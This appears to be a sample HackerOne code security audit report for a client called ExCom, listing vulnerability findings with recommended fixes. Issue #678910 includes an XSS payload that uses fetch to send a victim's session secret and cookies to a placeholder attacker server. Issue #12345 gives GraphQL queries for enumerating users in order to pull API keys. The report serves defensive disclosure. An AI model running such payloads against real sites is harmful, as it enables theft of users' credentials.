hackerone
Powered by _pullrequest

HackerOne Code Review
CODE SECURITY AUDIT

February 3, 2023 • CONFIDENTIAL

Description

This document details the process and result of a code security audit performed by HackerOne between January 20, 2023 and February 1, 2023.

Author

Meagan Miller (Senior Strategist, HackerOne)

mmiller@hackerone.com

Prepared for:

EXCOM

Table of Contents

1. Executive Summary

ExCom engaged HackerOne to perform code review for their source code repositories **excom-frontend** and **excom-backend** from January 20, 2023 to February 1, 2023. This report summarizes all data related to the code security audit of these repositories.

During this timeframe, 19 vulnerabilities marked as either Low, Medium, High, or Critical severities, were identified by 5 security-focused source code experts. Two vulnerabilities were found that had a CVSS score of between 7.0 and 8.9, rating high. These vulnerabilities represent the greatest immediate risk to ExCom and should be prioritized for remediation. The most severe issue identified could allow an attacker to access sensitive customer data.

1.1 High Level Findings Breakdown by Scope

Table 1 below shows the repositories in scope and the breakdown of findings by severity per repository. Section 2.2 contains more information on how severity is calculated.

Repository/Scope	Critical	High	Medium	Low	None
excom-frontend	1	1	3	5	-
excom-backend	-		5	4	2

Table 1: Findings per repository

1.2 Risk & Growth Analysis

The HackerOne team has analyzed the overall data provided during the assessment and came to several conclusions. All vulnerabilities reported during the code security audit fall into 6 of the top 10 2021 OWASP list of most critical web application security risks. This illustrates that the security posture of these applications are heavily correlated to a fairly concise list of the most common and critical security risks today. Thus, efforts towards addressing and mitigating these risks will effectively establish ExCom's security posture. The 2021 OWASP security risks identified during the assessment include the following:

- A01 Broken Access Control
- A03 Injection
- A04 Insecure Design
- A07 Identification and Authentication Failures
- A08 Software and Data Integrity Failures
- A09 Security Logging and Monitoring Failures

1.3 References

The secure code assessment was conducted in the PullRequest secure platform, where researchers focus on identifying vulnerabilities within ExCom's scope, while also taking into account any preferences set forth prior by ExCom's representatives during scoping discussions with HackerOne's internal team. Section 2.1 contains more information about the methodology.

The assessment can be accessed via the HackerOne Portal.

2. Engagement Background

In-scope repositories and assets are outlined in Table 2 below and include a reference to the repository name and approved commit ID taken at the time of the assessment launch to capture a specific point-in-time for the assessment intended to be used during the re-review period for reference.

Repository Name	Commit ID
excom-backend	`b9138351205sdfy70385h2f8238199b4409af5f3f`
excom-frontend	`39sdfhsdkyfh35987dfhkdhf83929djfkah93839a`

Table 2: In-scope repositories

2.1 Methodology

HackerOne worked with ExCom prior to the engagement to ensure clarity on the scope for their code security audit, as well as to determine what types of vulnerabilities are most important to them. This information was organized by HackerOne and provided prior to the engagement to enable reviewers by providing context and expectations from ExCom. HackerOne selected 5 reviewers out of a community of over 600 individuals to participate in the code security audit of ExCom's described assets. Only the selected reviewers have access to ExCom's program. Each reviewer will be paid within the allotted 40 hours allocated for reviewer payments.

Additionally, HackerOne's team triage and categorize all identified vulnerabilities against the CWE (Common Weakness Enumeration) standard, as well as assigning a severity ranking based on the CVSS v3.0 (Common Vulnerability Scoring System) standard, providing consistent, easy to understand guidelines on the severity of each vulnerability.

2.2 Classification and Severity

To categorize vulnerabilities according to a commonly understood vulnerability taxonomy, HackerOne uses the industry standard Common Weakness Enumeration (CWE). CWE is a community-developed taxonomy of common software security weaknesses. It serves as a common language, a measuring stick for software security tools, and as a baseline for weakness identification, mitigation, and prevention efforts.

To rate the severity of vulnerabilities, HackerOne uses the industry standard Common Vulnerability Scoring System (CVSS) to calculate severity for each identified security vulnerability. CVSS provides a way to capture the principal characteristics of a vulnerability, and produce a numerical score reflecting its severity, as well as a textual representation of that score.

Note: All scoring should be considered a guide to prioritizing issue resolution rather than absolute truth.

To help prioritize vulnerabilities and assist vulnerability management processes, HackerOne translates the numerical CVSS rating to a qualitative representation (such as low, medium, high and critical):

- 🟥 **Critical:** CVSS rating 9.0 - 10
- 🟧 **High:** CVSS rating 7.0 - 8.9
- 🟧 **Medium:** CVSS rating 4.0 - 6.9
- 🟨 **Low:** CVSS rating 0.1 - 3.9
- 🟩 **None:** No CVSS rating (e.g. Issues with no security risk or non-security bugs)

More information can be found on MITRE's website: cwe.mitre.org. More information can be found on the Forum for Incident Response and Security Teams' (FIRST) website: first.org/cvss.

2.3 Team

2.3.1 - HackerOne Staff

This engagement was delivered by a combination of HackerOne staff and security researchers of the HackerOne community.

- **Meagan Miller, Program Manager**
  mmiller@hackerone.com
- **Peter Vu, Technical Program Manager**
  pvu@hackerone.com

Please feel free to contact these individuals with any questions or concerns you have around the engagement or this report.

2.3.2 - HackerOne Reviewers

The following reviewers submitted valid, unique vulnerabilities.

Reviewers	Expertise
Bob M. - hackerone.com/bobm	TypeScript, Node.js
Erica T. - hackerone.com/ericat	TypeScript, Node.js
Sally R. - hackerone.com/sallyride	Python
Roy B. - hackerone.com/royb	Python
Quentin O. - hackerone.com/queo	C#

3. Findings

This chapter contains the results of the security assessment. Findings are sorted by their severity. Table 1 in the executive summary contains the total number of identified security vulnerabilities per asset per risk indication. All findings were entered in the HackerOne platform, which is the authoritative source for the information on the vulnerabilities and can be referred to for details about each finding using the stated reference number in the asset vulnerability summary.

3.1 Findings Overview

Table 3 below shows the distribution of severity across each vulnerability type.

Report ID	Vulnerability	Severity	CVSS	CWE	Status
#12345	User key lacks proper authentication	Critical	9.3	CWE-284	**Open**
#678910	Credentials are in danger of XSS attack via links	High	8.0	CWE-79	**Open**
#11121314	Endpoints do not authenticate or authorize the request	Medium	6.8	CWE-285	**Open**
#15161718	Unbounded parameter allows resource exhaustion and denial of service attacks	Low	3.1	CWE-770	**Open**
#19202122	Missing security policy (SECURITY.md)	None	-	-	**Open**

Table 3: Severity distribution across vulnerability types

3.2 Vulnerability Details

Individual issues noted in Section 3.1 are described in this section in detail including overall severity, description, impact, and any recommendations for fixing the issue. Issues are included in this section in order of priority.

Issue: #12345 User key lacks proper authentication

Severity: Critical (9.3)

Affected Asset: excom/backend

- File reference:`/user-key/get-user-key.ts`
- Line reference: 25

Description

An endpoint returns sensitive information. In particular, the user's API key is returned without authenticating the request.

Impact

An attacker can visit this site to retrieve a list of all user IDs by running the following query:

```
user {
    id
}
```

For each `userId` from the list above, an attacker can send a request to this endpoint (`/user-key/get-user-key`) to retrieve each user's key. An attacker can then find the user's webhook callback URL by running the following query:

```
checkout(where: {user: {id: {_eq: "345"}}}) {
  webhook_urls
  user {
    id
  }
}
```

With the webhook URL and user key, the attacker can send forged webhook signatures to these endpoints.

Recommendation

This endpoint should do the following:

- Verify the JWT (JSON Web Token) in the request `Authorization` header
- Use the `userId` parameter stored in the JWT instead of allowing the end user to pass in the userId (this will ensure that the requestor can only view their user key)

```
import * as jwt from 'jsonwebtoken';

if (!req.headers.authorization) {

   return res.status(401);

}

const token = req.headers.authorization.split(':')[1] // Bearer
id:eyJhbGci.....

try {

   const { userId } = await jwt.verify(token,
process.env.JWT_SECRET)

   const { data, errors } = await user.query<

         SecretKeysByOwnerIdQuery,

         SecretKeysByOwnerIdQueryVariables

      >({

         query: SecretKeysByOwnerIdDocument,

         variables: {

           ownerId: userId as string,

         },

         fetchPolicy: 'no-cache',

   });
```

```
    // ... remaining code
} catch (e) {
    return res.status(401);
}
```

It would also be valuable (and help prevent issues like this in the future) to make handlers default-secure instead of default-insecure. That could look like the following:

- Creating a wrapper for all handlers and having that wrapper automatically verify the JWT and pass along relevant info. Get into the habit of using that wrapper.
- Introducing a middleware that automatically does JWT verification and passes along relevant info.

Issue: #678910 Credentials are in danger of XSS attack via links

Severity: High (8.0)

Affected Asset: excom/backend

- File reference: `src/components/messaging/transferNotification.tsx`
- Line reference: 170

Description

This page is currently vulnerable to a Cross-Site Scripting (XSS) attack, allowing the attacker to access the target's credentials within `localStorage` and the target's cookies by getting the target to open the link.

Impact

This issue can be exploited using the following method:

1. Update an existing transaction link by sending a `POST` request to: `https://example.com/api/v1/public-transfer-link/TRANSACTION_LINK_ID`
2. In the request body, add a `postTransactionMessage` property with the value set to a malicious JavaScript file:

```
{
  // ...other payload properties
  "postTransferMessage":
"<script>fetch(`INSERT_ATTACKERS_SERVER_URL_HERE?user_session=
${localStorage.getItem('-accountlink:https://www.example.com:s
ession:secret)'}&cookies=${document.cookies}`"
}
```

3. Send a known target a link to an existing transaction associated with your checkout link above.

When the target visits the link, the XSS payload is executed, causing the target's accountlink secret session ID to be sent to the attacker. The attacker can also access the encrypted token value in local storage.

Recommendation

The following actions are recommended to prevent such an attack:

- Adding a Content-Security-Policy is recommended to prevent JavaScript files (and inline scripts) from unauthorized sources from being loaded. For example: `Content-Security-Policy: default-src 'self'`. In this example, inline scripts would be blocked from loading.
- Additionally, the `self` attribute will ensure only scripts from the current origin will be loaded. If `dangerouslySetInnerHTML` is required, wrapping any `__html` inputs with a function that will sanitize the input, is recommended. For example, the sanitize-html library will let you define an allowlist of tags that can be rendered.
- Look into using a pre-built function to handle safely rendering the HTML markup.
- Lastly, the cookies storing the user's `idToken` should be set to HTTP only. This will prevent JavaScript from accessing the user's ID token.

Issue: #19202122 Missing a security policy (SECURITY.md)

Severity: None - No security risk

Affected Asset: excom/frontend

- File reference: `README.md`
- Line reference: 10

Description

Internal HackerOne staff have found a non-security issue. ExCom's Front Open Source Repository is missing a GitHub Security Policy. Since this is an open source project stored in a public repository, this will give clear instructions to contributors for reporting security vulnerabilities in the project.

This is a `SECURITY.md` file in the root directory of a GitHub repository instructing users about how and when to report security vulnerabilities to the project maintainers. When included, this file will be shown in the repository's Security tab, and in the new issue workflow.

From GitHub:

> *We recommend vulnerability reporters clearly state the terms of their disclosure policy as part of their reporting process. Even if the vulnerability reporter does not adhere to a strict policy, it's a good idea to set clear expectations for maintainers in terms of timelines on intended vulnerability disclosures.*

While not mandatory, and intermittently used, this is recommended good practice. These structured files not only provide good information, but are indexed by GitHub and enable UI tools visible to contributors.

Impact

This will prevent contributors from bypassing project maintainers and disclosing vulnerabilities before a fixed version of the code is available, specifically in the form of GitHub Issue or GitHub Pull Requests.

Recommendation

Add a GitHub security policy to the repository (sample provided below). Instructions can be found here.

Additional Optimizations:

- Convert the current Contributing section of the project `README.md` to a GitHub Contributing Guide.
- Reference the contributing guide (`CONTRIBUTING.md`) in the current `REAMDE`.
- Within it, reference the `SECURITY.md` Security Policy.

Sample GitHub Security Policy:

```
## Security
ExCom takes the security of our software products and services
seriously, which includes all source code repositories managed
through our GitHub organizations, which include [ExCom's Frontend
Repository](https://github.com/excom/excom-frontend) and [many
others](https://github.com/excom).

If you believe you have found a security vulnerability in any
ExCom-owned repository please report it to us as described below.

## Reporting Security Issues
**Please do not report security vulnerabilities through public
GitHub issues.** Instead, please report them to
[support@excom.com](support@excom.com).

You should receive a prompt response. If for some reason you do
not, please follow up via email to ensure we received your original
message.

Please include the requested information listed below (as much as
you can provide) to help us better understand the nature and scope
of the possible issue:
  * Type of issue (e.g. missing encryption of sensitive data, SQL
injection, cross-site scripting, etc.)
  * Full paths of source file(s) related to the manifestation of
the issue
  * The location of the affected source code (tag/branch/commit or
direct URL)
  * Any special configuration required to reproduce the issue
  * Step-by-step instructions to reproduce the issue
  * Proof-of-concept or exploit code (if possible)
  * Impact of the issue, including how an attacker might exploit
the issue

This information will help us triage your report more quickly.

## Preferred Languages
We prefer all communications to be in English.
```